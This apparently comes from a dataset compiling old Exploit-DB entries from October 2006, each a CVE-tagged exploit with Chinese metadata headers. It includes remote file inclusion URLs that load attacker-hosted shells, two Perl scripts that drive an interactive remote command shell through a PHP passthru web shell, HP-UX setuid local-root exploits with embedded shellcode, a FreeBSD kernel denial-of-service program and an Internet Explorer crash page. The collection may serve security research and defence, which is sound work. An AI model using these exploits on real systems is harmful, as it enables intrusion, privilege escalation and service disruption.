QLWD/code_shield huggingface dataset:
标题: TextPattern 1.19 - 'publish.php' Remote File Inclusion EDB-ID: 2646 CVE: 2006-5615 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-25 漏洞利用脚本: ----------------------------------------------------------------------------
TextPattern <=g1.19 (txpcfg[txpath]) Remote File Inclusion Vulnerability
----------------------------------------------------------------------------

Author  : Zeni Susanto A.K.A Bithedz
Date Found : October, 25th 2006
Location : Indonesia,Bandung
Critical Lvl : Highly critical
Impact  : System access
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~

Application : TextPattern
version  : <=g1.19
URL  : http://textpattern.com/deanload/textpattern_g119.zip

textpattern is A free, flexible, elegant, easy-to-use content management system for all kinds of websites, even weblogs.


---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~

In file publish.php I found vulnerability script
--------------------------publish.php---------------------------------------
define("txpath",$txpcfg['txpath']); 
----------------------------------------------------------------------------

Input passed to the "txpcfg['txpath']" parameter in publish.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.


Proof Of Concept:
~~~~~~~~~~~~
http://yourtargetsite/[textpattern_g119_path]/textpattern/publish.php?txpcfg[txpath]=http://attact/colok.txt?
Solution:
~~~~
- Sanitize variable $txpcfg['txpath'] on affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ K-159
~ Monik My Brain
~ #bridge (silent) @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
bithedz[at]gmail[dot]com

# milw0rm.com [2006-10-25] URL: https://www.exploit-db.com/exploits/2646
标题: FreeBSD 6.1 - '/dev/crypto' Local Kernel Denial of Service EDB-ID: 2639 CVE: 2006-5550 类型: DOS 平台: BSD 发布日期: 2006-10-24 漏洞利用脚本: // Evgeny Legerov (elegerov.blogspot.com)

#include unistd.h
#include sys/types.h
#include stdio.h
#include fcntl.h
#include crypto/cryptodev.h

int main()
{
        int fd2, fd;
        struct crypt_kop kop;

        printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n");

        fd2 = open("/dev/crypto", O_RDWR, 0);
        if (fd2 == -1){
                perror("open");
                exit(-1);
        }

        if (ioctl(fd2, CRIOGET, &fd) == -1) {
                perror("ioctl");
                exit(-1);
        }

        kop.crk_op = CRK_MOD_EXP;
        kop.crk_iparams = 3;
        kop.crk_oparams = 1;
        kop.crk_param[0].crp_nbits = 0x70000000;

        ioctl(fd, CIOCKEY, &kop);

        printf("exploit failed\n");

        return 0;
}

// milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2639
标题: Microsoft Internet Explorer - ADODB Execute Denial of Service (PoC) EDB-ID: 2629 CVE: 2006-5559 类型: DOS 平台: WINDOWS 发布日期: 2006-10-24 漏洞利用脚本: <!--
// Internet Explorer 'ADODB.Connection' object 'Execute' Function Vulnerability POC
// tested on Windows XP SP1/XP SP2, IE 6.0 with latest patches installed
// Author: YAG KOHHA (skyhole [at] gmail.com)
// Greetz: H D Moor, Dark Eagle, str0ke, Maxus, Fuchunic, Offtopic

// Access violation at:
// ----------------------------------------------------
// 77114D0F   66:8B75 00       MOV SI,WORD PTR SS:[EBP]
// ----------------------------------------------------
// P.S. It`s will be fast with some shellcode :P
--!>

<html>
<head>
<title>ADODB.Connection.Execute CRASH TEST</title>
</head>
<script>
function Bang_Bang() {
var a = new ActiveXObject('ADODB.Connection.2.7');
var b = 'FUCK';
while (b.length <= 1024*256) b+=b;
for (var i = 0; i < 32768; i++)
try { a.Execute(b,b,b); } catch(e) {}
}
</script>
<body onLoad='Bang_Bang()'>
<center><h1>WOW!!! Are U live?</h1></center>
</body></html>

# milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2629
标题: HP-UX 11i - 'swask' Format String Privilege Escalation EDB-ID: 2635 CVE: 2006-5558 类型: LOCAL 平台: HP-UX 发布日期: 2006-10-24 漏洞利用脚本: /* HP-UX swask format string local root exploit
 * ============================================
 * HP-UX 'swask' contains an exploitable format string 
 * vulnerability. The 'swask' utility is installed setuid
 * root by default. Specifically the vulnerability is in
 * the handling of the "-s" optional arguement which is
 * passed to a format function as verbatim.  
 *
 * Example.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ./prdelka-vs-HPUX-swask
 * [ HP-UX 11i 'swask' local root exploit
 * =======  01/20/06 10:19:49 EST  BEGIN swask SESSION (non-interactive)
 * <SNIP>
 * 
 * =======  01/20/06 10:19:50 EST  END swask SESSION (non-interactive)
 * 
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 * $
 *
 * - prdelka
 */

char shellcode[]=
   "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
   "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
   "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *d, *c, *b,*a,*envp;
        int i,pid;
 printf("[ HP-UX 11i 'swask' local root exploit\n");
 switch(pid = fork()){
  case -1:
   perror("fork");
  case 0:
          a=(char*)malloc(2048);
          memset(a,0,2048); 
          sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38); 
          for(i=0;i<103;i++) strcat(a,"%p");
   envp=0;
   execle("/usr/sbin/swask","swask","-s",a,0,envp);
   break;
  default:
   sleep(1);
   b=(char*)malloc(2048);
          memset(b,0,2048);
          for(i=0;i<102;i++) strcat(b,"%p");
   strcat(b,"%31799u%hn");
   a=(char*)malloc(2048);
   memset(a,0,2048);
   d=a;
   for(i=0;i<39;i++)strcat(a,"A");
   d+=39;
   for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
   envp=0;
   execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
 }
}

// milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2635
标题: InteliEditor 1.2.x - 'lib.editor.inc.php' Remote File Inclusion EDB-ID: 2630 CVE: 2006-5527 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-24 漏洞利用脚本: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

InteliEditor (sys_path) Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

Tum islam aleminin Ramazan Bayrami Mubarek oLsun..!

Ne mutlu türküm diyene

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

include("$sys_path/cfg.editor.inc.php");
include("$sys_path/lang.$lng.inc.php");


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/lib.editor.inc.php?sys_path=http://evil_script?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, Ironfist, Stansar, SHiKaA, Chaos, Nukedx, k1tk4t, x_w0x

Tesekkurler: DJR, mdx, R3D4C!D, sakkure, ERNE:)

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script down: http://puzzle.dl.sourceforge.net/sourceforge/intelieditor/intelieditor.zip

# milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2630
标题: MDweb 1.3 - 'chemin_appli' Remote File Inclusion EDB-ID: 2626 CVE: 2006-5587 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: ###### ToXiC #########################
#
# Mdweb132-postgres: Remote File Inclusion by ToXiC CreW
#
#         ToXic Security Italian CreW
#            BuG FounD by Drago84
#
# Application Affect:
#                    Mdweb132-postgres
#
#
#  Sorce Code:
#                       http://jc.desconnets.free.fr/mdweb/install/windows/mdweb132-postgres-sans-installeur.zip
#
#
# Page:                
#     form_org.inc.php
#     country_insert.php
#
#
# Problem:
#
#        // Inclusion du fichier pour l'initialisation et le chargement des étiquettes de chaque champ.
#        include_once $chemin_appli."admin/inc/organisations/initLabelForm_org.inc.php";
#        // Inclusion du fichier pour l'initialisation et le chargement du code HTML des champs de saisie.
#        include_once $chemin_appli."admin/inc/organisations/initChampsForm_org.inc.php";
#        // Inclusion du fichier pour l'écriture des fonctions Javascript de contrôle de saisie.
#        include_once $chemin_appli."config/fonctions_ctrl_js.inc.php";
#
# Dir :
#      /mdweb/admin/inc/organisations/
#
#
#
# ExPloit :
#   http://www.site.com/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php?
#
#   http://www.site.com/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=http://sonic-banda-di-lamer.gay/shell.php?
#
#
#       
# GrEatZ All Member of ToXiC, Str0ke
#
#
# FUCK #Sonic
#
###### ToXiC #########

# milw0rm.com [2006-10-23] URL: https://www.exploit-db.com/exploits/2626
标题: HP-UX 11i - 'swpackage' Local Stack Overflow / Local Privilege Escalation EDB-ID: 2633 CVE: 2006-5557 类型: LOCAL 平台: HP-UX 发布日期: 2006-10-24 漏洞利用脚本: /* HP-UX swpackage buffer overflow exploit
 * =======================================
 * HP-UX 'swpackage' contains an exploitable stack overflow
 * in the handling of command line arguements. Specifically the
 * problem occurs due to insufficent bounds checking in the "-S"
 * optional arguement. 'swpackage' is installed setuid root by
 * default in HP-UX and allows for local root compromise when 
 * exploiting this issue.
 *
 * Example.
 * $ cc prdelka-vs-HPUX-swpackage.c -o prdelka-vs-HPUX-swpackage
 * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file 
 * (prdelka-vs-HPUX-swpackage.o) was detected. The linked output may 
 * not run on a PA 1.x system.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ls -al /usr/sbin/swpackage
 * -r-sr-xr-x   2 root       bin        1323008 Nov  3  2003 /usr/sbin/swpackage
 * $ ./prdelka-vs-HPUX-swpackage
 * [ HP-UX 11i 'swpackage' local root exploit
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 *
 * - prdelka
 */

char shellcode[]=
   "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
   "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
   "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char adr[4],*b,*a,*c,*envp[1];
        int i;
 *(unsigned long*)adr=0x7f7f0434;
 printf("[ HP-UX 11i 'swpackage' local root exploit\n");
        b=(char*)malloc(2048);
 a=b;
 memset(b,0,2048);
 memset(b,'a',1053);
 b+=1053;
        for(i=0;i<4;i++) *b++=adr[i%4];
 c=(char*)malloc(2048);
 b=c;
 memset(c,0,2048);
 sprintf(c,"PATH=");
 b+=5;
 for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
 envp[0]=c;
 envp[1]=0;
        execle("/usr/sbin/swpackage","swpackage","-S",a,0,envp);
}

// milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2633
标题: HP-UX 11i - 'swmodify' Local Stack Overflow / Local Privilege Escalation EDB-ID: 2634 CVE: 2006-5557 类型: LOCAL 平台: HP-UX 发布日期: 2006-10-24 漏洞利用脚本: /* HP-UX swmodify buffer overflow exploit
 * =======================================
 * HP-UX 'swmodify' contains an exploitable stack overflow
 * in the handling of command line arguements. Specifically the
 * problem occurs due to insufficent bounds checking in the "-S"
 * optional arguement. 'swmodify' is installed setuid root by
 * default in HP-UX and allows for local root compromise when
 * exploiting this issue.
 *
 * Example.
 * $ cc prdelka-vs-HPUX-swmodify.c -o prdelka-vs-HPUX-swmodify
 * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file
 * (prdelka-vs-HPUX-swmodify.o) was detected. The linked output may
 * not run on a PA 1.x system.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ls -al /usr/sbin/swmodify
 * -r-sr-xr-x   2 root       bin        1323008 Nov  3  2003 /usr/sbin/swmodify
 * $ ./prdelka-vs-HPUX-swmodify
 * [ HP-UX 11i 'swmodify' local root exploit
 * $ id
 * uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
 *
 * - prdelka
 */

char shellcode[]=
   "\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
   "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
   "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char adr[4],*b,*a,*c,*envp[1];
        int i;
 *(unsigned long*)adr=0x7f7f0434;
 printf("[ HP-UX 11i 'swmodify' local root exploit\n");
        b=(char*)malloc(2048);
 a=b;
 memset(b,0,2048);
 memset(b,'a',1053);
 b+=1053;
        for(i=0;i<4;i++) *b++=adr[i%4];
 *b++="A";
 c=(char*)malloc(2048);
 b=c;
 memset(c,0,2048);
 sprintf(c,"PATH=");
 b+=5;
 for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
 envp[0]=c;
 envp[1]=0;
        execle("/usr/sbin/swmodify","swmodify","-S",a,0,envp);
}

// milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2634
标题: WiClear 0.10 - 'path' Remote File Inclusion EDB-ID: 2624 CVE: 2006-5506 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: ########################################################################
#  wiclear v0.10  Remote File Inclusion Vulnerability
#
#  Download: http://wiclear.free.fr/download/wiclear-0.10.tgz
#
#  Found By: the master (nidhal)
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/admin/inc/prepend.inc.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/inc/lib/boxes.lib.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/inc/lib/tools.lib.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/tools/trackback/index.php?path=http://cmd.gif?
#  http://[Target]/[Path]/admin/tools/utf8conversion/index.php?path=http://cmd.gif?
#  http://[Target]/[Path]/inc/prepend.inc.php?path=http://cmd.gif?
#  http://[Target]/[Path]/inc/lib/boxes.lib.php?path=http://cmd.gif?
#  http://[Target]/[Path]/inc/lib/history.lib.php?path=http://cmd.gif?
#
#
# Greetz: str0ke , Dr Max Virus , The Small Hacker , crack_man
########################################################################

# milw0rm.com [2006-10-23] URL: https://www.exploit-db.com/exploits/2624
标题: JumbaCMS 0.0.1 - '/includes/functions.php' Remote File Inclusion EDB-ID: 2628 CVE: 2006-6635 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: #!/usr/bin/perl
#
# JumbaCMS Build 2 Remote Command Execution Vulnerability
#
# Risk : High (Remote Code Execution)
#
# Url: http://jumbacms.googlecode.com/svn/trunk/
#
# Exploit:
#   http://site.com/[path]/includes/functions.php?jcms_root_path=[Evil_Script]
# w0rks only if php<5 ! c0de:
#      if (version_compare(phpversion(), "5.0.0", "<"))
#         {
#      include($jcms_root_path."includes/file_put_contents.".$phpEx);
#          }
#
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
# Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".        JumbaCMS remote Command Execution Vulnerability      .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n";
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path."/includes/functions.php";


sub usage(){
 print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
 print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?jcms_root_path=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
  { print "Enter your command !\n"; }
else
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-23] URL: https://www.exploit-db.com/exploits/2628
标题: HP-UX 11i - 'LIBC TZ' Enviroment Variable Privilege Escalation EDB-ID: 2636 CVE: 2006-5556 类型: LOCAL 平台: HP-UX 发布日期: 2006-10-24 漏洞利用脚本: /* HP-UX libc timezone environment overflow exploit
 * ================================================
 * HP-UX libc contains an exploitable stack overflow
 * in the handling of "TZ" environment variable. The
 * problem occurs due to insufficient bounds checking
 * in the localtime_r() and related functions. Any suid
 * or sgid program which uses the timezone functions can
 * be used as an attack vector. This exploit uses "su" 
 * to obtain root priviledges.  
 *
 * Example. 
 * $ cc prdelka-vs-HPUX-libc.c -o prdelka-vs-HPUX-libc
 * /usr/ccs/bin/ld: (Warning) At least one PA 2.0 object file 
 * (prdelka-vs-HPUX-libc.o) was detected. The linked output may not run 
 * on a PA 1.x system.
 * $ uname -a
 * HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
 * $ id
 * uid=102(user) gid=20(users)
 * $ ./prdelka-vs-HPUX-libc
 * [ HP-UX libc timezone environment overflow
 * Password:
 * # id
 * uid=102(user) gid=20(users) euid=0(root)
 *
 * - prdelka
 */

char shellcode[]="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
   "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
   "\xb4\x16\x70\x16""/bin/sh";

int main(){
        char *a, adr[4],ptr1[4],ptr2[4],*b,*envp[3];
        int i;
        *(unsigned long*)adr=0x10eC7f7F;
        *(unsigned long*)ptr1=0x059c7f7f;
        *(unsigned long*)ptr2=0x7f7f059c;
        b=(char*)malloc(126);
        memset(b,0,126);
        a=b;
        sprintf(b,"PATH=");
        b+=5;
        for(i=0;i<120;i++) *b++=ptr1[i%4];
        envp[0]=a;
        b=(char*)malloc(809);
        memset(b,0,809);
        a=b;
        sprintf(b,"MANPATH=");
        b+=8;
        for(i=0;i<800;i++) *b++=ptr1[i%4];
        envp[1]=a;
        b=(char*)malloc(3429);
        memset(b,0,3427);
        a=b;
        sprintf(b,"TZ=");
        b+=3;
        for(i=0;i<2384;i++) *b++=ptr1[i%4];
        for(i=0;i<4;i++) *b++=ptr2[i%4];
        for(i=0;i<1002;i++) *b++=adr[i%4];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        envp[2]=a;
        envp[3]=0;
 printf("[ HP-UX libc timezone environment overflow\n");
        execle("/usr/bin/su","pdk",0,envp);
}

// milw0rm.com [2006-10-24] URL: https://www.exploit-db.com/exploits/2636
标题: OTSCMS 2.1.3 - Multiple Remote File Inclusions EDB-ID: 2622 CVE: 2006-5548 2006-5547 2006-5546 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: **********************************************************************************************************
                                       *                       *
                  * Coding 4 Fun (c4f.pl) *
                  *                       *
                  *************************

* OTSCMS <= 2.1.3 by Wrzasq (www.otscms.com) ; 

* Class = Remote File Inclusion ;
 
* Download = http://sourceforge.net/project/showfiles.php?group_id=145557 ;

* Found by = GregStar (gregstar{at}c4f{dot}pl) ;

-------------------------------------------------------------------------------------------------------------------

OTSCMS 2.0.0 - 2.1.3 :

- Vulnerable Code:

 require_once($GLOBALS['config']['directories']['classes'] . $class . '.php');

- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][directories][classes]=http://evilsite.com/shell?

-------------------------------------------------------------------------------------------------------------------

OTSCMS 1.3.0 - 1.4.1 :

- Vulnerable Code:

 require_once($GLOBALS['config']['otscms']['directories']['classes'] . $class . '.php');


- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][classes]=http://evilsite.com/shell?

-------------------------------------------------------------------------------------------------------------------

OTSCMS 1.0.0 - 1.0.3 :

- Vulnerable Code:

 require_once($GLOBALS['config']['otscms']['directories']['includes'].'OTSCMSException.class.php');

- Exploit:

http://[target]/[path]/OTSCMS.php?GLOBALS[config][otscms][directories][includes]=http://evilsite.com/shell?

------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,RFL,d3m0n,java,kw@ch and for all friends.
**************************************************************************************************************

Notes:
Only works with php5 and 2.1.4 should also be vulnerable using OTSCMS.php with the config variable.
/str0ke

# milw0rm.com [2006-10-23] URL: https://www.exploit-db.com/exploits/2622
标题: SourceForge 1.0.4 - 'database.php' Remote File Inclusion EDB-ID: 2623 CVE: 2006-5562 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-23 漏洞利用脚本: #!/usr/bin/perl
#
# SourceForge-1.0.4 remote Command Execution Vulnerabilities
# 
# Risk : High (Remote Code Execution)
# 
# Url: http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz
#
# Exploit: 
#   http://site.com/[path]/include/database.php?sys_dbtype=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
# Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST ! 

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ". SourceForge-1.0.4 remote Command Execution Vulnerabilities  .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1]; 
chomp($shell);
    
$path = $path."/include/database.php";


sub usage(){
 print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
 print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?sys_dbtype=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }
}

# milw0rm.com [2006-10-23] URL: https://www.exploit-db.com/exploits/2623
标题: Mambo Module MambWeather 1.8.1 - Remote File Inclusion EDB-ID: 2613 CVE: 2006-5519 类型: WEBAPPS 平台: PHP 发布日期: 2006-10-22 漏洞利用脚本: Bug Found by h4ntu [http://h4ntu.com] #batamhacker crew
Another Mambo module remote inclusion vulneribility

download : http://mamboxchange.com/frs/download.php/1498/MambWeather181.zip
 
bug found in file : MambWeather/Savant2/Savant2_Plugin_options.php
 
 <?php

 /**
 * Base plugin class.
 */
 global $mosConfig_absolute_path;

 require_once $mosConfig_absolute_path.'/modules/MambWeather/Savant2/Plugin.php';

 /**

exploit:

http://[site]/[path_to_mambo]/modules/MambWeather/Savant2/Savant2_Plugin_options.php?mosConfig_absolute_path=[attacker ]

Greetz : Baylaw, Reel, JoySolutions, K-159, SaMuR4i_X, SolpoT, Nugelo, and all #batamhacker@dalnet

# milw0rm.com [2006-10-22] URL: https://www.exploit-db.com/exploits/2613